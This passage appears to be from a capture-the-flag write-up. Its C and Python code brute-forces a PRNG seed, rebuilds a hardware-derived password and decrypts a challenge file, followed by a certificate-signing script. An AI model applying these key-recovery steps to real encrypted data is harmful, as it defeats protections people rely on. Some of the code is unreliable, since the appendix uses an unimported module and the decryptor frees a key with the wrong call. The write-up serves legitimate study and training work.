#include "stdafx.h" #include <stdio.h> #include <tchar.h> #include <windows.h> #include <stdint.h> #include <assert.h> uint32_t DAT_0041e8c0[] = { 0x00, 0x00, 0x00, 0x00, 0xdf, 0xb0, 0x08, 0x99 }; void garble_buf(uint32_t *buffer, uint32_t initial_value) { *buffer = initial_value; buffer[0x270] = 1; do { buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5; buffer[0x270] = buffer[0x270] + 1; } while ((int)buffer[0x270] < 0x270); return; } uint32_t other_garble(uint32_t *garbled_buf_copy) { uint32_t uVar1; int i; if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) { if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) { garble_buf(garbled_buf_copy, 0x1105); } i = 0; while (i < 0xe3) { garbled_buf_copy[i] = (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^ garbled_buf_copy[i + 0x18d] ^ *(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4); i = i + 1; } while (i < 0x26f) { garbled_buf_copy[i] = (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^ garbled_buf_copy[i + -0xe3] ^ *(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4); i = i + 1; } garbled_buf_copy[0x26f] = (garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^ garbled_buf_copy[0x18c] ^ *(uint32_t *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4); garbled_buf_copy[0x270] = 0; } uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]]; garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1; uVar1 = uVar1 >> 0xb ^ uVar1; uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1; uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1; return uVar1 >> 0x12 ^ uVar1; } uint32_t buffer[0x271]; uint32_t get_garbled_output(uint32_t initial_value) { uint32_t res; garble_buf(buffer, initial_value); res = other_garble(buffer); return res; } const char letters[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"; #define NELEMENTS(arr) (sizeof(arr) / sizeof(arr[0])) int main(int argc, _TCHAR* argv[]) { DWORD i, j, k, l; DWORD num; CHAR* pNum = (CHAR*)# assert(get_garbled_output(0x46303952) == 0x098A04B2); if (argc < 2) { _tprintf(_TEXT("Usage: %s <initial_value>\n"), argv[0]); return 1; } DWORD target; target = _ttoi(argv[1]); _tprintf(_T("Searching for an initial value which would have produced the following value: %d (0x%x)\n"), target, target); DWORD limit = NELEMENTS(letters); for (i = 0; i < limit; ++i) { pNum[0] = letters[i]; for (j = 0; j < limit; ++j) { pNum[1] = letters[j]; for (k = 0; k < limit; ++k) { pNum[2] = letters[k]; for (l = 0; l < limit; ++l) { pNum[3] = letters[l]; if (get_garbled_output(num) == target) { _tprintf(_T("0x%x\n"), num); return 0; } } } } } return 0; }
A few comments about the code:
garble_buf
andother_garble
are pretty much copy-paste from Ghidra’s decompilation output.- The code can be easily ported to Python but C returns the result much faster.
- Since we’re talking about a serial number, we assume legal characters are mainly lowercase and uppercase letters, together with digits.
The code runs for a few seconds and outputs the following answer:
> FindGarbleInitVal.exe 12281342 Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe) 0x61774d56
We finally have the key:
0x00, 0x13, 0x37, 0x8e, 0xab, 0x66, 0x56, 0x4d, 0x77, 0x61, 0x30, 0x30, 0x30, 0x30
Now we can decrypt the file:
#include "stdafx.h" #include <stdio.h> #include <tchar.h> #include <windows.h> #include <Wincrypt.h> #include <stdint.h> #include <assert.h> #pragma comment(lib,"Crypt32.lib") #define CHUNK_SIZE (1024) #define PASSWORD_LENGTH (14) void PrintError(LPCTSTR error_string, DWORD error_code) { _ftprintf(stderr, TEXT("\nAn error occurred in the program. \n")); _ftprintf(stderr, TEXT("%s\n"), error_string); _ftprintf(stderr, TEXT("Error number %x.\n"), error_code); } int main(int argc, _TCHAR* argv[]) { HANDLE hSourceFile = INVALID_HANDLE_VALUE; HCRYPTPROV hProv = NULL; HCRYPTKEY hKey = NULL; HCRYPTHASH hHash = NULL; BYTE password[PASSWORD_LENGTH]; BYTE read_buffer[CHUNK_SIZE + 1] = { 0 }; LPTSTR src_file_path; LPTSTR base64_password; DWORD file_size; DWORD total_bytes_read = 0; DWORD size_to_decrypt = 0; DWORD password_length; BOOL is_final_chunk = 1; if (argc < 3) { _tprintf(TEXT("Usage: %s <source file> <base64_password> [size_to_decrypt]\n"), argv[0]); return 1; } src_file_path = argv[1]; base64_password = argv[2]; if (argc >= 4) { size_to_decrypt = _ttoi(argv[3]); } password_length = sizeof(password); if (CryptStringToBinary(base64_password, 0, CRYPT_STRING_BASE64, password, &password_length, NULL, NULL) != TRUE) { PrintError(TEXT("Invalid password!\n"), GetLastError()); goto exit; } hSourceFile = CreateFile(src_file_path, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hSourceFile) { PrintError(TEXT("Error opening source file!\n"), GetLastError()); goto exit; } file_size = GetFileSize(hSourceFile, NULL); if ( (size_to_decrypt <= 0) || (size_to_decrypt > file_size) ) { size_to_decrypt = file_size; } if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x50) != TRUE) { PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError()); goto exit; } if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x48) != TRUE) { PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError()); goto exit; } if (CryptCreateHash(hProv, 0x8003, 0, 0, &hHash) != TRUE) { PrintError(TEXT("Error with CryptCreateHash!\n"), GetLastError()); goto exit; } if (CryptHashData(hHash, (BYTE *)password, 0xe, 0) != TRUE) { PrintError(TEXT("Error with CryptHashData!\n"), GetLastError()); goto exit; } if (CryptDeriveKey(hProv, 0x6610, hHash, 0, &hKey) != TRUE) { PrintError(TEXT("Error with CryptDeriveKey!\n"), GetLastError()); goto exit; } while (total_bytes_read < size_to_decrypt) { DWORD bytes_to_read = min(CHUNK_SIZE, size_to_decrypt - total_bytes_read); DWORD bytes_read; DWORD data_length; if (ReadFile(hSourceFile, read_buffer, CHUNK_SIZE, &bytes_read, NULL) != TRUE) { PrintError(TEXT("Error reading source file!\n"), GetLastError()); goto exit; } is_final_chunk = total_bytes_read + bytes_read == file_size; data_length = bytes_read; if (CryptDecrypt(hKey, 0, is_final_chunk, 0, read_buffer, &data_length) != TRUE) { PrintError(TEXT("Error decrypting file!\n"), GetLastError()); goto exit; } _tprintf("%s", read_buffer); total_bytes_read += bytes_read; } _tprintf("\n"); exit: if (hKey != NULL) { CryptDestroyHash(hKey); } if (hHash != NULL) { CryptDestroyHash(hHash); } if (hProv != NULL) { CryptReleaseContext(hProv, 0); } if (hSourceFile != INVALID_HANDLE_VALUE) { CloseHandle(hSourceFile); } return 0; }
The final script to decrypt the encrypted file is:
import os import string import base64 import hashlib import binascii import itertools import subprocess from simple_cache import cache_result MAGIC = 0x531b008a input_filename = "intel.txt" output_filename = "intel.txt.enc" mac_prefix = (0x00, 0x13, 0x37) @cache_result def find_md5(prefix1, prefix2, num_missing_chars, expected_md5): expected_md5 = expected_md5.decode("ascii") prefix = bytearray(prefix1, "ascii") + bytearray(prefix2) for item in itertools.product([x for x in range(256)], repeat=num_missing_chars): hash = hashlib.md5(prefix + bytearray(item)).hexdigest() if hash == expected_md5: return item return None def readXorInt(f, xor): b = f.read(4) if not b: return None res = int.from_bytes(b, byteorder="little") ^ xor return res def get_size_and_decrement_index(encrypted_length): size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f) decrement_index = (size >> 0x1f) + size size = decrement_index + 1 decrement_index = encrypted_length + decrement_index * -0x2e3 return (size, decrement_index) def main(): with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o: dd_serial = readXorInt(f, MAGIC) print ("Disk drive serial: {}".format(hex(dd_serial))) o.write(MAGIC.to_bytes(4, byteorder="little")) while True: res = readXorInt(f, dd_serial) if res is None: break o.write(res.to_bytes(4, byteorder="little")) with open("phase1.bin", "rb") as f, open("phase2.bin", "wb") as o: encrypted_length = os.fstat(f.fileno()).st_size - 2988 print ("Length of encrypted message: {}".format(encrypted_length)) readXorInt(f, 0) # Dummy read, we already have the dd_serial padded_md5 = bytearray() for i in range(4 * 2): dword = readXorInt(f, 0) padded_md5 += dword.to_bytes(4, byteorder='little') padded_md5 = binascii.hexlify(padded_md5) assert (padded_md5[::2] == b"0" * 32) md5 = padded_md5[1::2] print("MD5: {}".format(md5)) mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5) mac_hex = binascii.hexlify(bytes(mac)) print ("MAC Address: {}".format(mac_hex)) garbles = [] ciphertext = bytearray() bytes_read = 0 i = 0 size, decrement_index = get_size_and_decrement_index(encrypted_length) while bytes_read < encrypted_length: if i == decrement_index: size -= 1 garbles.append(readXorInt(f, 0)) ciphertext += f.read(size) bytes_read += size i += 1 o.write(ciphertext) bios_serial_search = subprocess.check_output([r"FindGarbleInitVal.exe", str(garbles[0])]).decode("ascii") print (bios_serial_search) bios_serial = int(bios_serial_search.split("\n")[1], 0) password = bytes(mac) + bios_serial.to_bytes(4, byteorder='little') + dd_serial.to_bytes(4, byteorder='little') print ("Password: {}".format(binascii.hexlify(password))) plaintext_chunk = subprocess.check_output([r"CryptDecrypt.exe", "phase2.bin", base64.b64encode(password).decode("ascii"), "1024"]) print ("Output: \n") print (plaintext_chunk.decode("ascii")) if __name__ == "__main__": main()
The output (we cut the plaintext at 1024 bytes since otherwise we get ~36K of padding):
python solve.py Disk drive serial: 0x30303030 Length of encrypted message: 35936 MD5: b'0949b46b73e3af6f5afc81955367295c' MAC Address: b'0013378eab66' Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe) 0x61774d56 Password: b'0013378eab66564d776130303030' Output: OUR BIG SECRET IS AT 9f96b2ea3bf3432682eb09b0bd213752.xyz/be76e422d6ae42138d73f664e6bb9054 PADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGP

Appendix A
Since it’s a nightmare using the OpenSSL command line, the following script can be used to sign certificates in a much more intuitive way:
import datetime from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes def create_self_signed_cert(): # create a key pair k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, 2048) # create a self-signed cert cert = crypto.X509() cert.get_subject().O = 'Org' cert.get_subject().OU = 'Org Unit'*50 cert.get_subject().CN = 'Common Name' cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10*365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(k) cert.sign(k, 'sha256') open("self_signed.pem", "w").write( crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) open("self_signed_key.pem", "w").write( crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) leaf_key = rsa.generate_private_key( public_exponent=65537, key_size=4096, backend=default_backend()) with open("leaf_key.pem", "wb") as f: f.write(leaf_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.BestAvailableEncryption(b"pass"),)) with open("intermediate_key.pem", "rb") as key_file: ca_key = serialization.load_pem_private_key( key_file.read(), password=None, backend=default_backend()) cert_req = x509.Name([ x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Evil Corporation"), x509.NameAttribute(NameOID.COMMON_NAME, u"administrator") ]) with open("intermediate.pem", "rb") as cer_file: ca_cert = x509.load_pem_x509_certificate(cer_file.read(), default_backend()) backend = default_backend() cert = x509.CertificateBuilder().subject_name( cert_req ).issuer_name( ca_cert.subject ).public_key( leaf_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=356) ).add_extension( x509.BasicConstraints(ca=False, path_length=None), critical=False, ).add_extension( x509.SubjectKeyIdentifier.from_public_key(leaf_key.public_key()), critical=False, ).add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_key.public_key()), critical=False, ).sign(ca_key, hashes.SHA256(), backend) # Write our certificate chain to disk. #with open("certificate{}.pem".format(i), "wb") as f: # f.write(cert_arr[i].public_bytes(serialization.Encoding.PEM) + ''.join([cert_arr[j].public_bytes(serialization.Encoding.PEM) for j in range(i-1, -1, -1)])) with open("leaf.pem", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM))